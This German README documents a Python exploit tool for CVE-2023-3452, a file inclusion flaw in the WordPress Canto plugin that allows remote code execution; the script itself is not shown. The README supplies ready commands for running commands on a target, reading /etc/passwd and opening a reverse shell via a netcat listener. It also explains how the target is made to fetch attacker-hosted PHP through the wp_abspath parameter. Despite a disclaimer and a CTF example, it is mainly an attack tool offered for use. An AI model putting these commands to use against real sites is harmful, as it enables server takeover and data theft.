CVE-2023-3452 - WordPress Canto Plugin RCE

Exploit für das WordPress Canto Plugin (≤ 3.0.4) RFI-Schwachstelle. Funktioniert tatsächlich mit HTTPS — die anderen öffentlichen PoCs haben bei SSL aufgegeben.

Anerkennung wo sie gebührt: Dieses CVE wurde von anderen gefunden. Ich habe nur eine Version erstellt, die bei HTTPS-Zielen nicht versagt.

Sicherheitslücke

Warum dieses?

Die meisten Exploits für dieses CVE scheitern an HTTPS wegen SSL-Verifikation. Dieses Skript:

• Verwendet verify=False, sodass HTTPS-Ziele tatsächlich funktionieren
• Unterdrückt die urllib3-Warnungsflut
• Läuft sowohl auf HTTP als auch HTTPS gleich — keine separate Konfiguration erforderlich

Voraussetzungen

• Python 3.6+
• requests

Installation

pip install -r requirements.txt

Oder einfach: pip install requests

Verwendung

python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]

Argumente

* Kein Befehl = führt id; whoami; hostname als Sicherheitsprüfung aus

Beispiele

Einzelbefehl:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"

Eine Datei lesen:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"

Reverse Shell (führen Sie zuerst nc -lvnp 4444 aus):

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444

Interaktiver Modus:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i

HTTPS CTF-Ziel:

python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"

Wie es funktioniert

1. Prüfung — Greift auf /wp-content/plugins/canto/readme.txt zu, parst die Version (≤ 3.0.4 = anfällig)
2. Payload — Schreibt eine gefälschte wp-admin/admin.php, die Ihren Befehl via system() ausführt
3. Bereitstellung — Startet einen lokalen HTTP-Server, damit das Ziel unsere Datei abrufen kann
4. Auslösung — Fordert download.php mit wp_abspath=http://LHOST:LPORT an, sodass es unser entferntes PHP einbindet
5. Ausführung — Der Server des Ziels führt unseren Code aus, wir erhalten die Ausgabe zurück

Netzwerkhinweise

• Das Ziel muss Ihren Rechner unter LHOST:LPORT erreichen können (für HTB/Labs ist das Ihre VPN-IP)
• Die Firewall muss eingehende Verbindungen auf dem Payload-Port (-p) zulassen

Haftungsausschluss

Nur autorisierte Tests und Ausbildung. Berühren Sie nur Systeme, zu denen Sie berechtigt sind. Alles andere ist illegal.

Lizenz

MIT